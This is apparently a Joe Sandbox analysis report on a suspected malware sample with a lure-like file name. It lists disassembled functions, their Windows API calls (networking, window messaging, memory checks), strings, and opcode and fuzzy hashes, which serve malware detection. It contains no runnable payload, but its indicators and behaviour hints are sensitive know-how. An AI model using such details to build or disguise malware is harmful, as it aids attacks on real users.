                                                • API String ID: 0-2291192146
                                                • Opcode ID: 163d0157dac89e9c67254c694620bdad577ceb79b0e57b2b679c1f9ed3204e1e
                                                • Instruction ID: ea95a3614713074a8fc129a1d5904649de529242514fd533dfb8054d73d0d8aa
                                                • Opcode Fuzzy Hash: 163d0157dac89e9c67254c694620bdad577ceb79b0e57b2b679c1f9ed3204e1e
                                                • Instruction Fuzzy Hash: 6FB19F719042099BCF24FF98C8819EEBBB5FF44720F544066E946A7295EB30DE81CBB1
                                                Function 00DFB1B7 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 313COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: __itow_s
                                                • String ID: xr$xr
                                                • API String ID: 3653519197-2528877900
                                                • Opcode ID: dcccb1a500ead5a69a7710491655357ad147498a5594ad89e5cbccf030ab1ea3
                                                • Instruction ID: 1bfe7dbcd37813a3672e8e5c334bd469845033ff6fcf206686c01ddc7633c0e1
                                                • Opcode Fuzzy Hash: dcccb1a500ead5a69a7710491655357ad147498a5594ad89e5cbccf030ab1ea3
                                                • Instruction Fuzzy Hash: CDB17F74A00209AFCB14EF54C891EBAB7B9FF58314F19C45AFA459B292DB70E941CB70
                                                Function 00DEB217 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201shareCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D9FEC6: _wcscpy.LIBCMT ref: 00D9FEE9
                                                  • Part of subcall function 00D89997: __itow.LIBCMT ref: 00D899C2
                                                  • Part of subcall function 00D89997: __swprintf.LIBCMT ref: 00D89A0C
                                                • __wcsnicmp.LIBCMT ref: 00DEB298
                                                • WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 00DEB361
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
                                                • String ID: LPT
                                                • API String ID: 3222508074-1350329615
                                                • Opcode ID: 9ecf5d7ee2840a9d2716bda87c0630251fd2de4db96df397afdc8ca4807f9b32
                                                • Instruction ID: 1d1bf96908959cad4f7b4b2485666c9e87bee9cef5df4393e5997ea7c81fe7d2
                                                • Opcode Fuzzy Hash: 9ecf5d7ee2840a9d2716bda87c0630251fd2de4db96df397afdc8ca4807f9b32
                                                • Instruction Fuzzy Hash: DF616075A00215AFCB14EF95C896EBEB7B4EF08320F15406AF546AB291DB70BE40CB74
                                                Function 00D92AB7 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON
                                                Download Yara Rule
                                                APIs
                                                • Sleep.KERNEL32(00000000), ref: 00D92AC8
                                                • GlobalMemoryStatusEx.KERNEL32(?), ref: 00D92AE1
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: GlobalMemorySleepStatus
                                                • String ID: @
                                                • API String ID: 2783356886-2766056989
                                                • Opcode ID: d5304febf9c0e0f02c60fa43081cac7263bac7a9ebf9d0e8f1f0126cdc44f266
                                                • Instruction ID: 06cf295c2d9b7ea78934b562a09606a77b12031cc54c0150b6e144686f8a8502
                                                • Opcode Fuzzy Hash: d5304febf9c0e0f02c60fa43081cac7263bac7a9ebf9d0e8f1f0126cdc44f266
                                                • Instruction Fuzzy Hash: 0D5154724187449BD320BF50D896BABBBE8FF84314F96885DF2DA510A1DB308529CB26
                                                Function 00DE99BE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D8506B: __fread_nolock.LIBCMT ref: 00D85089
                                                • _wcscmp.LIBCMT ref: 00DE9AAE
                                                • _wcscmp.LIBCMT ref: 00DE9AC1
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: _wcscmp$__fread_nolock
                                                • String ID: FILE
                                                • API String ID: 4029003684-3121273764
                                                • Opcode ID: 37b9760d384867680b40a7d03af9d658ed2cf4764572cdfefd0a14637dc8a644
                                                • Instruction ID: 844ebfdf48d62edae40d0f7680128137d0988cf3ee92945017fbdfd9cf44a544
                                                • Opcode Fuzzy Hash: 37b9760d384867680b40a7d03af9d658ed2cf4764572cdfefd0a14637dc8a644
                                                • Instruction Fuzzy Hash: 1F41D471A00649BADF20AAA5DC86FEFBBFDDF45710F000079B904F7185DA75AA0487B1
                                                Function 00DC099E Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 115COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ClearVariant
                                                • String ID: Dt$Dt
                                                • API String ID: 1473721057-4168040075
                                                • Opcode ID: 2f0132c121746a626a25da4e6378ce03b7b37b529ba6d2f2ec78a93fe480401a
                                                • Instruction ID: 8a5bf98d728366468f7fee5eecf51430d48a86a6429ae282d3c4d135ebfce67d
                                                • Opcode Fuzzy Hash: 2f0132c121746a626a25da4e6378ce03b7b37b529ba6d2f2ec78a93fe480401a
                                                • Instruction Fuzzy Hash: 9A51F778608342CFD754DF19C080A2ABBF2BB99354F59585EE9858B321D331EC85CBA2
                                                Function 00DF2882 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00DF2892
                                                • InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 00DF28C8
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: CrackInternet_memset
                                                • String ID: |
                                                • API String ID: 1413715105-2343686810
                                                • Opcode ID: 2b578661afeec7184a3e26d518782b23e3d79c65a27546e410de89bb4316715b
                                                • Instruction ID: f35255e283f4009b6a46c3c8ec647180b97c7dbfc066dd911eb6e4f7b82f1cef
                                                • Opcode Fuzzy Hash: 2b578661afeec7184a3e26d518782b23e3d79c65a27546e410de89bb4316715b
                                                • Instruction Fuzzy Hash: 16311871800119AFCF01AFA1DC85EEEBFB9FF08300F144029F915A6166DA319A56DFB1
                                                Function 00E06CD2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON
                                                Download Yara Rule
                                                APIs
                                                • DestroyWindow.USER32(?,?,?,?), ref: 00E06D86
                                                • MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00E06DC2
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Window$DestroyMove
                                                • String ID: static
                                                • API String ID: 2139405536-2160076837
                                                • Opcode ID: a060c82194f8f0bc9a06e572051e71204237181e405848e51660586dd6ad7849
                                                • Instruction ID: f3d8cb0af4ca88b0bc0925cb0eaa592fbe314073e0e9b4bed851f842d9747fb2
                                                • Opcode Fuzzy Hash: a060c82194f8f0bc9a06e572051e71204237181e405848e51660586dd6ad7849
                                                • Instruction Fuzzy Hash: 37318171210604AEEB10AF64CC80BFB77B9FF48724F109519F995A7190DB31ACA5DB60
                                                Function 00DE2D91 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00DE2E00
                                                • GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00DE2E3B
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: InfoItemMenu_memset
                                                • String ID: 0
                                                • API String ID: 2223754486-4108050209
                                                • Opcode ID: 08274673ed2e2fdc0ed18e95e053d931fa2f64a73f6d9429ac669a5f4b156198
                                                • Instruction ID: 7dfd5e6b7444205693ac80335b9d56d69915aa5189604c3475f149b5c79ca77e
                                                • Opcode Fuzzy Hash: 08274673ed2e2fdc0ed18e95e053d931fa2f64a73f6d9429ac669a5f4b156198
                                                • Instruction Fuzzy Hash: F731F531600355ABEB24AF4AD845BBEBBBDFF05750F180069F985A61A0E7709944CB70
                                                Function 00E06943 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00E069D0
                                                • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00E069DB
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: MessageSend
                                                • String ID: Combobox
                                                • API String ID: 3850602802-2096851135
                                                • Opcode ID: 538e8086fa34bf570feeda4df6b20da07af175750c7f52427ec530a997774c2c
                                                • Instruction ID: b5ed519728d9bddc4a351622d59157e8a7b0a7421b7dedd0b085745ab27035d2
                                                • Opcode Fuzzy Hash: 538e8086fa34bf570feeda4df6b20da07af175750c7f52427ec530a997774c2c
                                                • Instruction Fuzzy Hash: 2511B2717002086FEF119F14CC80FEB376AEB893A8F515225F958BB2D0D6719CA187A0
                                                Function 00E06E76 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D81D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00D81D73
                                                  • Part of subcall function 00D81D35: GetStockObject.GDI32(00000011), ref: 00D81D87
                                                  • Part of subcall function 00D81D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00D81D91
                                                • GetWindowRect.USER32(00000000,?), ref: 00E06EE0
                                                • GetSysColor.USER32(00000012), ref: 00E06EFA
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Window$ColorCreateMessageObjectRectSendStock
                                                • String ID: static
                                                • API String ID: 1983116058-2160076837
                                                • Opcode ID: d8aeff7dd478199d034a367a973877a854b249ed6ca45c04c6b472263ff19bf9
                                                • Instruction ID: b08b9dfb0cd9a1d5210f90d666b10cbf8270aa858e507cb8f4655ea5ce2aee02
                                                • Opcode Fuzzy Hash: d8aeff7dd478199d034a367a973877a854b249ed6ca45c04c6b472263ff19bf9
                                                • Instruction Fuzzy Hash: E8216D7261020AAFDB04DFA8DC45AFA7BB8FB08314F005529FD55E3190D735E8A1DB60
                                                Function 00E06B8F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetWindowTextLengthW.USER32(00000000), ref: 00E06C11
                                                • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00E06C20
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: LengthMessageSendTextWindow
                                                • String ID: edit
                                                • API String ID: 2978978980-2167791130
                                                • Opcode ID: 10af635301ae2114a4d7d1e7c7304b8cde52dd2029df70ae98287b59c6a74d38
                                                • Instruction ID: 12d73535f29f78ea48c7ef24d1b45bdbfa978c619306e22908f221c63261ebda
                                                • Opcode Fuzzy Hash: 10af635301ae2114a4d7d1e7c7304b8cde52dd2029df70ae98287b59c6a74d38
                                                • Instruction Fuzzy Hash: 68116AB1500208AFEB209E64DC85BEA37A9EB05378F605724F961E71E0C776DCE59B60
                                                Function 00DE2E9E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00DE2F11
                                                • GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 00DE2F30
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: InfoItemMenu_memset
                                                • String ID: 0
                                                • API String ID: 2223754486-4108050209
                                                • Opcode ID: 6e15bc310e1a465ca91d47a4764be2b1b09d97c18f2c345d0213c2df5d8cdbed
                                                • Instruction ID: 6ebe07bc4ed1642f1f0c8c9f45f9d2fdedb2dbb91aee960392e0da3eb3bd7ade
                                                • Opcode Fuzzy Hash: 6e15bc310e1a465ca91d47a4764be2b1b09d97c18f2c345d0213c2df5d8cdbed
                                                • Instruction Fuzzy Hash: A2118E319012A4ABDB24EA5BDC44BBD77BDEF06714F1800A5F894B72A0D7B0ED0987A1
                                                Function 00DF24CA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                • InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00DF2520
                                                • InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00DF2549
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Internet$OpenOption
                                                • String ID: <local>
                                                • API String ID: 942729171-4266983199
                                                • Opcode ID: d95c03ad4111f8c017d7471a6dd078582488aae7b0a5f9c1249a50ed8fcdf7a1
                                                • Instruction ID: 53aea42c4abb604a00c9a7164ecff6b2afffb772304224c53941950cca7315b6
                                                • Opcode Fuzzy Hash: d95c03ad4111f8c017d7471a6dd078582488aae7b0a5f9c1249a50ed8fcdf7a1
                                                • Instruction Fuzzy Hash: 2B1132B0101229BEDB248F118C99EBBFF68FF16360F11C12AFA4452200D2B0A981CAF0
                                                Function 00DF80A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00DF830B: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,00DF80C8,?,00000000,?,?), ref: 00DF8322
                                                • inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00DF80CB
                                                • htons.WSOCK32(00000000,?,00000000), ref: 00DF8108
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ByteCharMultiWidehtonsinet_addr
                                                • String ID: 255.255.255.255
                                                • API String ID: 2496851823-2422070025
                                                • Opcode ID: 2570780c668d2d09e93f35d21a19c0be03abd35b1f2e615cac8f396de5d27c70
                                                • Instruction ID: cd461957e953e2e4bae55a9815fc4d99ebd8be1eb929b5590acf24e0d685c392
                                                • Opcode Fuzzy Hash: 2570780c668d2d09e93f35d21a19c0be03abd35b1f2e615cac8f396de5d27c70
                                                • Instruction Fuzzy Hash: BD11CE34200309ABCB20AF64DC86BBDB364EF04320F148627EA11A7291DA72A815D7B2
                                                Function 00D90A8D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00D83C26,00E462F8,?,?,?), ref: 00D90ACE
                                                  • Part of subcall function 00D87D2C: _memmove.LIBCMT ref: 00D87D66
                                                • _wcscat.LIBCMT ref: 00DC50E1
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: FullNamePath_memmove_wcscat
                                                • String ID: c
                                                • API String ID: 257928180-921687731
                                                • Opcode ID: bb8c4073d3028e6ea11e38aee065c9555cf60c5ebefefbed7c53773f34897c55
                                                • Instruction ID: 251339e411b7ab590736a06e904971a351e50aedbf9bf15f4fd5f41a5ce19fbe
                                                • Opcode Fuzzy Hash: bb8c4073d3028e6ea11e38aee065c9555cf60c5ebefefbed7c53773f34897c55
                                                • Instruction Fuzzy Hash: FF11A535A04208DECF10FB64EC02ED977F8EF49354B1040A5B99CE7241EA70EA898731
                                                Function 00DD92E7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D87F41: _memmove.LIBCMT ref: 00D87F82
                                                  • Part of subcall function 00DDB0C4: GetClassNameW.USER32(?,?,000000FF), ref: 00DDB0E7
                                                • SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00DD9355
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ClassMessageNameSend_memmove
                                                • String ID: ComboBox$ListBox
                                                • API String ID: 372448540-1403004172
                                                • Opcode ID: b1076f969f35a1589acd69580f51fb5791e6590a65748e43d2e8388478c30c65
                                                • Instruction ID: 8163ad0be2080d596688d10293c496f4fea20319b09164e740c50d77f7f87d78
                                                • Opcode Fuzzy Hash: b1076f969f35a1589acd69580f51fb5791e6590a65748e43d2e8388478c30c65
                                                • Instruction Fuzzy Hash: D9015275A45214ABCB04FB65CC95CFEB769FF06720B14061AF972673D2DB3299088770
                                                Function 00DD91DF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D87F41: _memmove.LIBCMT ref: 00D87F82
                                                  • Part of subcall function 00DDB0C4: GetClassNameW.USER32(?,?,000000FF), ref: 00DDB0E7
                                                • SendMessageW.USER32(?,00000180,00000000,?), ref: 00DD924D
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
